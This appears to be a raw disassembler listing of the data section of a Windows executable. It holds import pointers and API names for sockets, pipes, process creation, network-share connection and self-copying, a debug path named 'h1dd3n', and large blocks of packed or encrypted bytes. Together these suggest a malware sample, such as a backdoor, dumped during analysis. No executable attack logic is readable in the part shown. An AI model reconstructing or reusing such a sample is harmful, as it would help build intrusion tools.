dword_4F13A8 dd 77E7A837h ; DATA XREF: sub_40D46C+AAr
; sub_40F1D3+1C4r ...
dword_4F13AC dd 77E616B4h ; DATA XREF: sub_40E017+19Br
; sub_4107E7+115r ...
dword_4F13B0 dd 77E79CE3h ; DATA XREF: sub_40E017+111r
; sub_410A31+77r ...
dword_4F13B4 dd 77E79C90h ; DATA XREF: sub_40E017+FDr
; sub_40E017+10Ar ...
dword_4F13B8 dd 77E7727Ah ; DATA XREF: sub_40E017+74r
; sub_410938+23r ...
dword_4F13BC dd 77E64106h ; DATA XREF: sub_40F051+9Fr
; sub_41897B+1B6r ...
dword_4F13C0 dd 77E64006h ; DATA XREF: sub_40F051+8Br
; sub_41897B+19Fr ...
dword_4F13C4 dd 77E793EFh ; DATA XREF: sub_40F1D3+1EEr
; sub_40FB05+38r ...
dword_4F13C8 dd 77E78EAAh ; DATA XREF: sub_40F483+5E8r
; .nsp0:004359ACr
dword_4F13CC dd 77E79424h ; DATA XREF: sub_40F483+27Br
; .nsp0:004359B2r
dword_4F13D0 dd 77E794BFh ; DATA XREF: sub_40F483+26Dr
; .nsp0:004359B8r
dword_4F13D4 dd 77E75E67h ; DATA XREF: sub_40F483+20Dr
; sub_40F483+5D7r ...
dword_4F13D8 dd 77E75D9Eh ; DATA XREF: sub_40F483+1FCr
; .nsp0:004359C4r
dword_4F13DC dd 77E78C81h ; DATA XREF: sub_40FB05+6Cr
; sub_429380+3Cr ...
dword_4F13E0 dd 77E76968h ; DATA XREF: sub_41055F+5Fr
; .nsp0:0042B14Ar ...
dword_4F13E4 dd 77E74C59h ; DATA XREF: sub_4107E7+C7r
; .nsp0:004359D6r
dword_4F13E8 dd 77EC7C51h ; DATA XREF: sub_410BBC+5Er
; .nsp0:004359DCr
dword_4F13EC dd 77E802FCh ; DATA XREF: sub_411ED9+18Cr
; sub_411ED9+2D4r ...
dword_4F13F0 dd 77E70F89h ; DATA XREF: sub_41458A+Dr
; sub_41DA60+Dr ...
dword_4F13F4 dd 77E76A60h ; DATA XREF: sub_415ECC+2Dr
; .nsp0:004359F4r
dword_4F13F8 dd 77E71B14h ; DATA XREF: sub_415F56+26r
; .nsp0:004359FAr
dword_4F13FC dd 77E7166Fh ; DATA XREF: sub_415F56+1Dr
; .nsp0:00435A00r
dword_4F1400 dd 77E75090h ; DATA XREF: sub_415F91+6Cr
; .nsp0:00435A06r
dword_4F1404 dd 77E74D76h ; DATA XREF: sub_415F91+39r
; .nsp0:00435A0Cr
dword_4F1408 dd 77E77797h ; DATA XREF: sub_415F91+28r
; .nsp0:00435A12r
dword_4F140C dd 77E7011Ah ; DATA XREF: sub_416016+96r
; .nsp0:00435A18r
dword_4F1410 dd 77E73CE2h ; DATA XREF: sub_416016+60r
; .nsp0:00435A1Er
dword_4F1414 dd 77E668D9h ; DATA XREF: sub_41615A+15Dr
; .nsp0:00435A24r
dword_4F1418 dd 77E80618h ; DATA XREF: sub_4164D5+D4r
; .nsp0:00435A2Ar
dword_4F141C dd 77E79924h ; DATA XREF: sub_416A95+13r
; sub_429750+2A5r ...
dword_4F1420 dd 77E77CCEh ; DATA XREF: sub_416B67+Fr
; sub_41E7D0+BFr ...
dword_4F1424 dd 77E76A2Eh ; DATA XREF: sub_4175DD+DEr
; .nsp0:00435A3Cr
dword_4F1428 dd 77E7FF65h ; DATA XREF: sub_417A44+5Ar
; .nsp0:00435A42r
dword_4F142C dd 77EB7624h ; DATA XREF: sub_417A44+3Dr
; .nsp0:00435A48r
dword_4F1430 dd 77E6C29Dh ; DATA XREF: sub_4180D5+1EAr
; .nsp0:00435A4Er
dword_4F1434 dd 77E76C1Ah ; DATA XREF: sub_41897B+1CFr
; .nsp0:00435A54r
dword_4F1438 dd 77E73196h ; DATA XREF: sub_41A4A0+2Ar
; sub_421830+19r ...
dword_4F143C dd 77E7339Ch ; DATA XREF: sub_41A4A0+12r
; sub_42DE70+13r ...
dword_4F1440 dd 77E6C924h ; DATA XREF: sub_41A4F0+7Cr
; sub_420030+39r ...
dword_4F1444 dd 77F6183Eh ; DATA XREF: sub_435A6Cr
dword_4F1448 dd 77E76E3Dh ; DATA XREF: sub_41DA60+9Fr
; sub_42DF80+5Er ...
dword_4F144C dd 77E61608h ; DATA XREF: sub_41DA60+17r
; .nsp0:00435A78r
dword_4F1450 dd 77E778C5h ; DATA XREF: sub_41E550+40r
; sub_41E550+86r ...
dword_4F1454 dd 77E777EFh ; DATA XREF: sub_41E550+2Cr
; sub_41E750+Br ...
dword_4F1458 dd 77E6177Ah ; DATA XREF: .nsp0:0041EAA2r
; sub_42A610+87r ...
dword_4F145C dd 77E7C938h ; DATA XREF: .nsp0:0041EA73r
; .nsp0:00435A90r
dword_4F1460 dd 77E7C486h ; DATA XREF: .nsp0:0041E9E6r
; .nsp0:00435A96r
dword_4F1464 dd 77EB36A5h ; DATA XREF: sub_41EDC0+3r
; .nsp0:00435A9Cr
dword_4F1468 dd 77E79C3Dh ; DATA XREF: .nsp0:0041EE6Er
; .nsp0:0041EE88r ...
dword_4F146C dd 77E9BD34h ; DATA XREF: sub_41EED0+102r
; sub_41EED0+2F3r ...
dword_4F1470 dd 77E79908h ; DATA XREF: sub_41FA60+9r
; sub_41FA60+16r ...
dword_4F1474 dd 77EB8503h ; DATA XREF: .nsp0:0041FC09r
; .nsp0:00435AB4r
dword_4F1478 dd 77F516F8h ; DATA XREF: sub_41FCA0+63r
; sub_41FDD0+11Br ...
dword_4F147C dd 77F5722Fh ; DATA XREF: sub_41FD20+A3r
; sub_41FDD0+1B0r ...
dword_4F1480 dd 77F51597h ; DATA XREF: sub_41FFC0+5Er
; .nsp0:00420175r ...
dword_4F1484 dd 77E76E0Bh ; DATA XREF: sub_4200C0+3Cr
; .nsp0:004201A2r ...
dword_4F1488 dd 77E7C726h ; DATA XREF: sub_4200C0+14r
; .nsp0:00435AD2r
dword_4F148C dd 77E79E34h ; DATA XREF: .nsp0:0042014Cr
; .nsp0:00420160r ...
dword_4F1490 dd 77E7980Ah ; DATA XREF: sub_420E10+A3r
; sub_420F20+A7r ...
dword_4F1494 dd 77E77CC4h ; DATA XREF: sub_423C10+64r
; sub_423CF0+66r ...
dword_4F1498 dd 77E79B39h ; DATA XREF: sub_423C10+4Ar
; sub_423CF0+50r ...
dword_4F149C dd 77E7C5B4h ; DATA XREF: sub_423C10+9r
; .nsp0:00435AF0r
dword_4F14A0 dd 77E72B29h ; DATA XREF: .nsp0:00423CB7r
; .nsp0:00435AF6r
dword_4F14A4 dd 77F51587h ; DATA XREF: sub_423CF0+8Br
; .nsp0:00435AFCr
dword_4F14A8 dd 77E78B61h ; DATA XREF: sub_423CF0+15r
; .nsp0:00423DACr ...
dword_4F14AC dd 77E73163h ; DATA XREF: .nsp0:00423EB3r
; .nsp0:00435B08r
dword_4F14B0 dd 77E7849Fh ; DATA XREF: sub_423EC0+1C7r
; sub_424370+17r ...
dword_4F14B4 dd 77E7A13Fh ; DATA XREF: sub_424210+35r
; .nsp0:00435B14r
dword_4F14B8 dd 77E6C703h ; DATA XREF: sub_424210+1Dr
; .nsp0:00435B1Ar
dword_4F14BC dd 77E6D706h ; DATA XREF: sub_426420+35Ar
; .nsp0:00435B20r ...
dd 0
dword_4F14C4 dd 71B2ACCBh ; DATA XREF: sub_435826r
dd 0
dword_4F14CC dd 71AB4122h ; DATA XREF: sub_413F11+D4r
; .nsp0:004358A4r
dword_4F14D0 dd 71AB1746h ; DATA XREF: sub_411A34+1DEr
; .nsp0:0043589Er
dword_4F14D4 dd 71AB401Ch ; DATA XREF: sub_411A34+21Br
; sub_411A34+243r ...
dword_4F14D8 dd 71AB1836h ; DATA XREF: sub_40EAD9+6Er
; sub_40EB56+8Er ...
dword_4F14DC dd 71AB41DAh ; DATA XREF: sub_40E4A5+4Ar
; sub_40EAD9+15r ...
dword_4F14E0 dd 71AB3F8Dh ; DATA XREF: sub_40E4A5+5Ar
; .nsp0:00435886r
dword_4F14E4 dd 71AB155Ah ; DATA XREF: sub_40E4A5+8Dr
; sub_412A93+70r ...
dword_4F14E8 dd 71AB3ECEh ; DATA XREF: sub_40E4A5+B5r
; .nsp0:0043587Ar
dword_4F14EC dd 71AB5DE2h ; DATA XREF: sub_40E4A5+C9r
; .nsp0:00435874r
dword_4F14F0 dd 71AB868Dh ; DATA XREF: sub_40E4A5+171r
; .nsp0:0043586Er
dword_4F14F4 dd 71AB5A01h ; DATA XREF: sub_413FFA+20r
; .nsp0:004358AAr
dword_4F14F8 dd 71AB12F8h ; DATA XREF: sub_40D974+27r
; sub_40DAB6+27r ...
dword_4F14FC dd 71AB1746h ; DATA XREF: sub_40D974+36r
; sub_40DAB6+36r ...
dword_4F1500 dd 71AB3E5Dh ; DATA XREF: sub_40D974+59r
; sub_40DAB6+59r ...
dword_4F1504 dd 71AB5690h ; DATA XREF: sub_40D974+6Ar
; sub_40DAB6+6Ar ...
dword_4F1508 dd 71AB1A6Dh ; DATA XREF: sub_40D974+E0r
; sub_40DAB6+E0r ...
dword_4F150C dd 71AB3C22h ; DATA XREF: .nsp0:0040CC60r
; sub_40D974+45r ...
dword_4F1510 dd 71AB1AF4h ; DATA XREF: sub_40C8D4+12r
; sub_40D974+C3r ...
dword_4F1514 dd 71AB1890h ; DATA XREF: sub_40C736+4Cr
; sub_40E4A5+106r ...
dword_4F1518 dd 71AB1B7Bh ; DATA XREF: sub_435832r
dword_4F151C dd 71AB157Eh ; DATA XREF: sub_401CC1+29F4r
; .nsp0:0043582Cr
dword_4F1520 dd 71AB2BBFh ; DATA XREF: .nsp0:0040DBB7r
; .nsp0:00435868r
align 8
db 6
align 2
aWnetaddconne_1 db 'WNetAddConnection2A',0
aMpr_dll_0 db 'MPR.dll',0
db '=',0
aWsasocketa_0 db 'WSASocketA',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 10h
db '}',0
aExitprocess db 'ExitProcess',0
db 1Bh,0
aClosehandle db 'CloseHandle',0
aD_4 db 'D',0
aCreateprocessa db 'CreateProcessA',0
align 2
dw 124h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
db 59h ; Y
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 296h
aSleep db 'Sleep',0
aJ_3 db 'J',0
aCreatethread db 'CreateThread',0
align 2
aW_1 db 'W',0
aDeletefilea db 'DeleteFileA',0
dd 704F01EFh, 72506E65h, 7365636Fh, 0F80073h
aGetcurrentproc db 'GetCurrentProcessId',0
db 1Ah
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
db '(',0
aCopyfilea db 'CopyFileA',0
db 68h ; h
db 2, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 10Dh
aGetfileattribu db 'GetFileAttributesA',0
align 4
db 26h ; &
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 10h
db 0CEh ; Î
db 2, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
a? db '?',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 16Dh
aGettickcount db 'GetTickCount',0
align 2
dw 29Fh
aTerminatethrea db 'TerminateThread',0
dd 65470165h, 6D655474h, 74615070h, 4168h, 6F4D01DDh, 69466576h
dd 41656Ch, 6F4C01C2h, 694C6461h, 72617262h, 4179h, 6547013Eh
dd 6F725074h, 64644163h, 73736572h, 0CE0000h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 11C0000h, 4C746547h
dd 6C61636Fh, 666E4965h, 416Fh, 65470175h, 72655674h, 6E6F6973h
dd 417845h, 7845007Eh, 68547469h, 64616572h, 1C10000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aF_2 db 'f',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 1ABh
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aU_2 db 'U',0
aDeletecritical db 'DeleteCriticalSection',0
dw 2DFh
aWritefile db 'WriteFile',0
a1_1 db '1',0
aCreateeventa db 'CreateEventA',0
align 2
dw 218h
aReadfile_0 db 'ReadFile',0
align 2
a4_1 db '4',0
aCreatefilea db 'CreateFileA',0
dd 6554029Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440063h
dd 63696C70h, 48657461h, 6C646E61h, 0F70065h
aGetcurrentpr_0 db 'GetCurrentProcess',0
aC_4 db 'C',0
aCreatepipe db 'CreatePipe',0
align 4
dd 6547016Eh, 6D695474h, 726F4665h, 4174616Dh, 0FB0000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470112h, 6C694674h
dd 7A695365h, 900065h, 646E6946h, 736F6C43h, 8A0065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
aI_3 db '‰',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
aA_4 db '',0
aFindnextfilea db 'FindNextFileA',0
aF_3 db '”',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 26Ah
aSetfilepointer db 'SetFilePointer',0
align 4
db 41h ; A
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 0CCh
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
db '¸',0
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 206h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 7
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 6F4600AFh, 74616D72h
dd 7373654Dh, 41656761h, 1930000h, 626F6C47h, 6E556C61h
dd 6B636F6Ch, 18C0000h, 626F6C47h, 6F4C6C61h, 6B63h, 6E5502B0h
dd 5670616Dh, 4F776569h, 6C694666h, 1D60065h, 5670614Dh
dd 4F776569h, 6C694666h, 350065h
aCreatefilemapp db 'CreateFileMappingA',0
align 4
db 6Ch ; l
db 2, 53h, 65h
aTfiletime db 'tFileTime',0
dw 114h
aGetfiletime db 'GetFileTime',0
aA_5 db '€',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db '´',0
aFreelibrary db 'FreeLibrary',0
dw 2D2h
aWidechartomult db 'WideCharToMultiByte',0
db 0E4h ; ä
db 1, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 2FFh
aLstrcmpia db 'lstrcmpiA',0
dw 10Bh
aGetexitcodepro db 'GetExitCodeProcess',0
align 4
db 0F9h ; ù
db 1, 50h, 65h
aEknamedpipe db 'ekNamedPipe',0
db 20h
db 1, 47h, 65h
aTlogicaldrives db 'tLogicalDrives',0
align 10h
db 8Dh ;
db 1, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
dw 1B8h
aIsbadwriteptr db 'IsBadWritePtr',0
dw 1B5h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 1A7h
aHeapvalidate db 'HeapValidate',0
align 2
dw 22Fh
aRtlunwind db 'RtlUnwind',0
dw 170h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
db 5Dh ; ]
db 1, 47h, 65h
aTsystemtime db 'tSystemTime',0
db 0ADh ;
db 1, 49h, 6Eh
aTerlockeddecre db 'terlockedDecrement',0
align 4
db 0B0h ; °
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 50h ; P
db 1, 47h, 65h
aTstartupinfoa db 'tStartupInfoA',0
; ---------------------------------------------------------------------------
retf 4700h
; ---------------------------------------------------------------------------
aEtcommandlinea db 'etCommandLineA',0
db 74h ; t
db 1, 47h, 65h
aTversion db 'tVersion',0
align 2
aQ_3 db 'Q',0
aDebugbreak db 'DebugBreak',0
align 4
db 52h ; R
db 1, 47h, 65h
aTstdhandle db 'tStdHandle',0
align 4
db 0F5h ; õ
db 1, 4Fh, 75h
aTputdebugstrin db 'tputDebugStringA',0
align 2
dw 1AAh
aInitializecr_0 db 'InitializeCriticalSection',0
aE_2 db '…',0
aFatalappexita db 'FatalAppExitA',0
dw 199h
aHeapalloc db 'HeapAlloc',0
dw 1A2h
aHeaprealloc db 'HeapReAlloc',0
dd 6548019Fh, 72467061h, 6565h, 6548019Dh, 65447061h, 6F727473h
dd 19B0079h, 70616548h, 61657243h, 6574h, 695602BFh, 61757472h
dd 6572466Ch, 2BB0065h, 74726956h, 416C6175h, 636F6C6Ch
dd 0FA0000h
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
dd 6C5402A5h, 74655373h, 756C6156h, 2A20065h, 41736C54h
dd 636F6C6Ch, 2A30000h, 46736C54h, 656572h, 65530271h
dd 73614C74h, 72724574h, 726Fh, 6C5402A4h, 74654773h, 756C6156h
dd 0F90065h, 43746547h, 65727275h, 6854746Eh, 64616572h
dd 0BF0000h, 43746547h, 666E4950h, 0B9006Fh, 41746547h
dd 5043h, 65470131h, 4D454F74h, 5043h, 6152020Bh, 45657369h
dd 70656378h, 6E6F6974h, 1BF0000h, 614D434Ch, 72745370h
dd 41676E69h, 1C00000h, 614D434Ch, 72745370h, 57676E69h
dd 2AD0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
db '²',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db '³',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 106h
aGetenvironment db 'GetEnvironmentStrings',0
dw 108h
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 10h
db 6Dh ; m
db 2, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 115h
aGetfiletype db 'GetFileType',0
db 7Ch ; |
db 2, 53h, 65h
aTstdhandle_0 db 'tStdHandle',0
align 10h
aK_2 db 'ª',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 4
db 53h ; S
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 156h
aGetstringtypew db 'GetStringTypeW',0
align 4
db 8Bh ; ‹
db 2, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 1B2h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 1BEh
aIsvalidlocale db 'IsValidLocale',0
dw 1BDh
aIsvalidcodepag db 'IsValidCodePage',0
aW_2 db 'w',0
aEnumsystemloca db 'EnumSystemLocalesA',0
align 2
dw 171h
aGetuserdefault db 'GetUserDefaultLCID',0
align 4
dd 65530261h, 646E4574h, 6946664Fh, 656Ch, 6547011Dh, 636F4C74h
dd 49656C61h, 576F666Eh, 210000h, 706D6F43h, 53657261h
dd 6E697274h, 4167h, 6F430022h, 7261706Dh, 72745365h, 57676E69h
dd 2620000h
aSetenvironment db 'SetEnvironmentVariableA',0
aKernel32_dll_0 db 'KERNEL32.dll',0
align 4
dd 0D28h dup(0)
db 0
byte_4F5345 db 3 dup(0) ; DATA XREF: .nsp0:004521F0o
dd 0A2Eh dup(0)
aNb10 db 'NB10',0
align 4
dd 463857E3h, 1, 445C3A43h, 6D75636Fh, 73746E65h, 646E6120h
dd 74655320h, 676E6974h, 63695C73h, 65445C63h, 6F746B73h
dd 654E5C70h, 6F462077h, 7265646Ch, 6265445Ch, 685C6775h
dd 33646431h, 64702E6Eh, 62h, 0EBh dup(0)
dd 1995h, 74A2h, 0D535h, 1132Fh, 114E5h, 150EBh, 161E5h
dd 24DA5h, 2EA95h, 3 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E7980Ah, 77E79E34h, 4 dup(0)
dd 0F806Ch, 0F8030h, 5 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
dd 64644163h, 73736572h, 0
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69560000h, 61757472h
dd 6572466Ch, 0DE000065h, 5E000569h, 80000h, 569DEh, 0
dd 0D9A22A00h, 0BA981285h, 15B933D3h, 4807002Ah, 0F595h
dd 148E108h, 15A060E9h, 8B2CEC83h, 3024441Dh, 5503481Fh
dd 7E01BE56h, 0D3D6182Dh, 57041CE2h, 0C7B78F0h, 89FA2BE0h
dd 133A5468h, 2C4A603Ch, 0E1B8C803h, 18447DD3h, 33ED33E0h
dd 180D247Ch, 1E073605h, 5F34459Fh, 9105974h, 2F1C1220h
dd 0C6C1FBFh, 3C64C60Ch, 141383E1h, 208B0974h, 0F33C0473h
dd 804CBFABh, 71B60F40h, 75D23303h, 83010E8Ah, 0C86305C1h
dd 277D89FFh, 6FD513Eh, 0D60B08E2h, 9FF5037h, 6E3967F2h
dd 0E086D34Ch, 8B53BD19h, 6F8C1816h, 34082310h, 3CC1D5F8h
dd 3DD10304h, 3101A753h, 1C312C71h, 7391C88Dh, 44131666h
dd 0C1110E7Ah, 0E06D08E6h, 1FB4A07Fh, 728B443Dh, 0EF7FF87Ah
dd 0F9AF0F07h, 8352F73Bh, 8BDEA1ABh, 0A3C2BFC7h, 1DF92BF5h
dd 4D03052Eh, 683B89h, 5C8B40C6h, 3808BDD8h, 1835DCB9h
dd 0BA30702Ah, 37E655D0h, 0CABEABEFh, 30364E3h, 82FF69FBh
dd 0FD2D480Ch, 8C8D0607h, 141CD80Fh, 0B6CF7E83h, 9C845181h
dd 0F0142B40h, 0B6B3A87Ch, 3439680Ch, 216ABA52h, 0B1DB1F31h
dd 0C3E38115h, 0EB5A343h, 64130C8Dh, 0C898FACh, 3923B40Ah
dd 4DA3F790h, 73B53885h, 9CB16B57h, 0A485D28Ch, 1474E07Dh
dd 53FA816Ah, 8A8D0F0Ah, 6D6C4681h, 0AE2CCECFh, 8D231C9Bh
dd 0A1B20F73h, 0F1805A90h, 8B01C583h, 5693520Ch, 89F039C8h
dd 0B293633Ch, 0C7F336EBh, 478BF791h, 0CDCF9612h, 548D7EC0h
dd 53740112h, 8C0C6A96h, 0EB02FF29h, 0CD241E52h, 2204A689h
dd 887C2021h, 0AA8692FEh, 0A54F070Bh, 0CE673914h, 0F61825ECh
dd 2B046FF9h, 27808869h, 0C70D7D40h, 18224469h, 8805CE7Ch
dd 7D3A0AF9h, 367FB0Ch, 0BD651855h, 615111Fh, 0EB1220Ch
dd 0EAC1D18Bh, 0ABCAE1F9h, 0B12F0E4h, 0FD40E76Bh, 4C8CE81Ch
dd 0DA9E9BABh, 0E5206AD0h, 73F23BD1h, 0C2214A7Ch, 9048A0BAh
dd 0A77D234h, 4425949Eh, 8A1D654h, 508531FFh, 0C29C0FD0h
dd 3F2889CCh, 5311DE14h, 0E8AB148Dh, 9D83EA89h, 494003E2h
dd 14F5F18Bh, 2B44BF03h, 0B1F292C2h, 8F59CA93h, 51737108h
dd 45CA9012h, 2EC79B69h, 0CE8B5732h, 0C1C81030h, 0CA8CE954h
dd 7CF13B26h, 0B167A91Ah, 0D409FA73h, 0F4C558Dh, 2CC298CAh
dd 4EF95481h, 2433A4BCh, 0E8C8DC1h, 0E1C61873h, 0EC871408h
dd 0FC5E921h, 8F47E03Ch, 0CDC9330Ah, 89C29D47h, 72824417h
dd 0D309718Dh, 0C396464h, 14D02BB6h, 0A98A87CEh, 3985023Ah
dd 0A68944FFh, 0E9F9139Ch, 0D9895049h, 0E90F89F0h, 0E78EE755h
dd 8BF1B3EFh, 24BD1AEDh, 0D08A6A6Eh, 2217EB39h, 0D4EBD17Bh
dd 77602406h, 0DC0A1EF1h, 0E9258062h, 47B9D47Fh, 4C8D60BCh
dd 5CAD9036h, 0D33B1B12h, 9A212541h, 0E055590Bh, 0AA3D30A1h
dd 0A4C7ABDBh, 1164F38Ah, 0AA185A14h, 425232EFh, 0E1ED8775h
dd 0B189EAFh, 0CB8D182Bh, 451414DEh, 835D166Ah, 0A22C3A96h
dd 125481C2h, 444BCE11h, 2B852AFAh, 2C6532D8h, 89C9D943h
dd 0A812039h, 0DB330813h, 340EE44h, 0B4C8823h, 45FAC83Ch
dd 11FB62D7h, 518A629Fh, 2E596304h, 479850Fh, 66C88BC6h
dd 39BB3002h, 0EB6A58E1h, 0CC672152h, 0F2819089h, 4791E908h
dd 0DE62DF10h, 2CCD3183h, 2BE672BDh, 14F0EB90h, 9189A7A9h
dd 3783E515h, 0EBEDA8A9h, 3070A712h, 2D6C8D5Eh, 0BAE94E90h
dd 0A67592BAh, 4ACCEC95h, 0DA2B04E2h, 0B083EB03h, 0B2B80430h
dd 7725A26Fh, 8070549h, 0DD01E57Dh, 3BB057Ch, 1CC04428h
dd 8D08E3C1h, 0C00B9C0Ah, 0F1CEA906h, 728B7B6Ah, 366B2DE7h
dd 0A21543D7h, 0C8B3E512h, 4C4091A0h, 0FAF476E5h, 58C92A0h
dd 3EF428Ah, 0FBF9D1C3h, 0DC8DCE7h, 300266CFh, 2C05BF0Eh
dd 0E7D3267Dh, 24018D22h, 979124BBh, 82222B14h, 47C1C24h
dd 8C0ABCBAh, 0EB28444Ch, 72CF0663h, 8D032204h, 0EB0B949h
dd 391AAC42h, 0D14C24F3h, 0FF03E802h, 8E72F03Bh, 2BA9A83h
dd 92D97563h, 889C82F2h, 0E7A40E0Ch, 66B8904h, 2C49D95Bh
dd 74A770AEh, 5F04EB8Ah, 12125721h, 9923A33Ah, 0DBD499D1h
dd 0CC1A46EBh, 59409F99h, 8D0A0809h, 1A991B5Ch, 0AFB01864h
dd 87A4EB9Ah, 749B1449h, 29F374FAh, 3C575CB1h, 0A0CF254Ch
dd 2C583DBh, 8DCB1F03h, 0B923E5A4h, 0EDF0118Ah, 142C8801h
dd 85AAA51Fh, 4EB9857Ch, 0BEEA750Ah, 83B108Ch, 820F0750h
dd 19FFF84Dh, 725451E1h, 5F5B057Ah, 680895Eh, 0E835DC0h
dd 18C22CC4h, 0B9102D19h, 21650F9h, 50503387h, 65292321h
dd 830168CCh, 5310EC04h, 57F18B56h, 446FB00h, 9B92A99h
dd 0F9F70683h, 1105BF57h, 68046A1Ch, 0BC261012h, 99C00A36h
dd 96B4FFF7h, 30D81330h, 0CA0318E0h, 0AA24BA4Fh, 41CB7E4h
dd 8108478Bh, 70AAF5C2h, 6A705273h, 0ED0FF2Eh, 0C5D88E4Eh
dd 41D08D06h, 0E5525051h, 83304B80h, 8D5611C6h, 1A2010CCh
dd 0E6E8805Ch, 4FC6F654h, 80C00C66h, 0FA53E0CFh, 37A0FBD1h
dd 0A35B50A7h, 0CC22310h, 50938868h, 40050297h, 0E9C00447h
dd 10A21CDh, 0F80300Eh, 1C08340Dh, 7950DE10h, 0C5A450BAh
dd 20291066h, 15075108h, 96BFC512h, 8D188024h, 5150C51Dh
dd 20F235Ch, 7FF3090Dh, 95044DAEh, 0EED3806h, 85A07438h
dd 0F306A0E5h, 140884BAh, 1C018A33h, 938070A8h, 24278060h
dd 84C854A5h, 1BD191C3h, 0B869DE70h, 18C03DFDh, 502A8D1Ch
dd 5C900F03h, 3835562Bh, 187B4A2h, 56E80287h, 4714E508h
dd 0F2575383h, 0D80E855h, 7ED815Dh, 8D8C1360h, 0C012FEB5h
dd 0FC468B0Ch, 458C083h, 0DEF2760Ah, 87E56F6h, 31C7600h
dd 21BD8DF2h, 0AD32C51Eh, 900220ABh, 484C7B83h, 7CA4883h
dd 0F6854473h, 23B90E71h, 0E54683B7h, 0FADFC07Bh, 0CFEFA4F3h
dd 390D5822h, 6F1A2F01h, 32C30604h, 861D78F9h, 3AE8511Ch
dd 19053DFh, 2C4E8B04h, 4B3F8689h, 20406A26h, 0F3915164h
dd 21862995h, 0D198589h, 0D5E85638h, 0C87288CBh, 0C085071Ch
dd 0C194360Fh, 0B23228C8h, 1749470Ch, 60014F90h, 0C985349Ah
dd 8984290Fh, 8983D85h, 6394651h, 746E0183h, 57958B7Bh
dd 8DCD511Ah, 440DB25Bh, 458AA475h, 0F72DEB41h, 805780C1h
dd 81521E74h, 132B4E1h, 858D517Fh, 50319812h, 8A1E310Eh
dd 1D578905h, 3052426h, 41C80308h, 3F10528Bh, 0A0A91CDDh
dd 6A620D96h, 88B68510h, 5366C01Ch, 0F9088131h, 370C1415h
dd 4425DE24h, 0C430775h, 0F0404BE3h, 17F703F1h, 83E906C6h
dd 89982B50h, 25900146h, 5704C28Dh, 65D435E8h, 48FFCA9Ch
dd 8E9903B5h, 4620DA2Dh, 3C7030Ch, 5B5F5E5Dh, 0ECDA55C3h
dd 24FCD961h, 10E1E8AFh, 34EB815Bh, 1C3F14B5h, 20ED6D4h
dd 93FF51F7h, 89249D44h, 5617B045h, 0B77E8A0Ah, 0FB96D31Ch
dd 283AC1Dh, 0F7521674h, 0B3C3AA5Fh, 44FC750Ch, 5AAB8825h
dd 41692B8h, 4818E4EBh, 667506ACh, 1EC9AFC5h, 1AF90E0h
dd 28D08A5Eh, 669EC1CDh, 7EC84D54h, 0B1AD0C24h, 0C2030787h
dd 0EB8D82EBh, 0C9999F4h, 544CB91Ah, 98887E8h, 393C6A16h
dd 44AC926h, 0C80A743Ch, 2E90FEFDh, 7EB5012h, 55892C70h
dd 0B70F05F8h, 88A91046h, 7D77759Ch, 79A4AB9Ch, 78760AC9h
dd 4DB36CB7h, 5E401FFCh, 3360012h, 0CF3BF875h, 0C0347D2Eh
dd 0F9004617h, 0FC5501D0h, 3EE87B2Ch, 0FE8174D3h, 75D78AC8h
dd 3A2A8E1Ch, 660DC0C2h
dd 0E608E8C1h, 861013C0h, 61044C4h, 0CEBB8601h, 0CCF50473h
dd 0C812EB41h, 0BC40595Eh, 35741446h, 562ADD3Bh, 0A49D2830h
dd 11331645h, 0FD86E90Bh, 5117E7C0h, 24378ED4h, 830332F8h
dd 0F86602ECh, 0C521276h, 0FEA9E850h, 8EC55930h, 3182491Ch
dd 3AD86A57h, 90E515B3h, 0FA7EAAEEh, 944E9B19h, 4328CDDEh
dd 0C88B1EDh, 73E04D74h, 7D625C98h, 0C9084B28h, 0F9C4C1EAh
dd 0A5F32C02h, 0E1830F1Fh, 7BF145B6h, 0FA160C04h, 0D1F652A4h
